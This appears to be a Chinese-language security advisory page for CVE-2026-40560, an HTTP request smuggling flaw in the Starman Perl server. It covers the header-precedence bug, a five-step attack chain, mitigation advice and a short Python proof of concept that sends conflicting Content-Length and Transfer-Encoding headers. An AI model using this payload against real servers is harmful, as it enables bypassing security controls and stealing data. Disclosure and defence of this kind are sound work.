CVE-2026-40560 CVSS 7.5 高危

CVE-2026-40560 Starman HTTP请求走私漏洞

披露日期: 2026-04-29

来源: 9b29abf9-4ab0-4765-b253-1875cd9b441e

漏洞信息

漏洞编号

CVE-2026-40560

漏洞类型

HTTP请求走私

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Starman

漏洞概述

该漏洞存在于Perl语言的Starman HTTP服务器中。在0.4018版本之前，Starman未能正确处理HTTP请求头部。根据RFC 7230标准，当“Content-Length”和“Transfer-Encoding: chunked”同时出现时，应优先处理“Transfer-Encoding”。然而，Starman错误地优先处理了“Content-Length”。这一缺陷可能导致攻击者通过前端反向代理实施HTTP请求走私攻击，进而可能窃取敏感数据或绕过安全检查。

技术细节

该漏洞的核心在于HTTP请求解析时的头部优先级逻辑错误。RFC 7230第3.3.3节明确规定，当请求中同时包含“Content-Length”和“Transfer-Encoding”头部时，接收者必须优先处理“Transfer-Encoding”并忽略“Content-Length”。Starman在旧版本中未遵循此标准，反向解析了优先级。攻击者可以通过构造包含这两个冲突头部的恶意HTTP请求，欺骗前端代理（如Nginx或HAProxy）和后端Starman服务器对请求边界的理解不一致。前端可能认为请求已结束，而后端Starman仍在等待数据，或者反之，从而将 smuggled 的请求走私到后端处理，导致安全机制绕过或缓存投毒。

攻击链分析

STEP 1

侦察

识别使用Starman作为后端服务器，且前端部署有反向代理（如Nginx）的目标系统。

STEP 2

构造攻击载荷

攻击者构造一个包含冲突头部的HTTP请求，同时设置“Content-Length”和“Transfer-Encoding: chunked”，利用Starman对头部优先级的错误处理逻辑。

STEP 3

发送恶意请求

将构造好的请求发送至前端反向代理。前端代理遵循RFC标准优先解析“Transfer-Encoding”，而后端Starman则解析“Content-Length”。

STEP 4

请求走私

由于前后端对请求边界的理解不一致，导致攻击者预设在请求体中的额外数据（GOTCHA或恶意指令）被后端服务器误认为是下一个独立的HTTP请求。

STEP 5

执行利用

走私的请求在后端执行，可能导致绕过安全控制、未经授权的访问或敏感数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# PoC for CVE-2026-40560 (Starman HTTP Request Smuggling)
# This script demonstrates the conflicting headers scenario.

import socket

def send_smuggling_request(host, port):
    # The payload contains both Content-Length and Transfer-Encoding.
    # A compliant frontend processes TE, Starman (<0.4018) processes CL.
    payload = (
        "POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Content-Length: 10\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
        "SMUGGLED"
    )
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload.encode())
        print(f"[+] Payload sent to {host}:{port}")
        response = s.recv(1024)
        print(f"[+] Response: {response.decode()}")
        s.close()
    except Exception as e:
        print(f"[-] Error: {e}")

# Replace with actual target details for testing
# send_smuggling_request("127.0.0.1", 5000)

影响范围

Starman < 0.4018

防御指南

临时缓解措施

如果无法立即升级，建议在反向代理服务器（如Nginx）上配置规则，清除“Content-Length”头部（当检测到“Transfer-Encoding”头部存在时），确保传递给后端Starman的请求符合单一长度确定标准，从而阻断利用条件。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表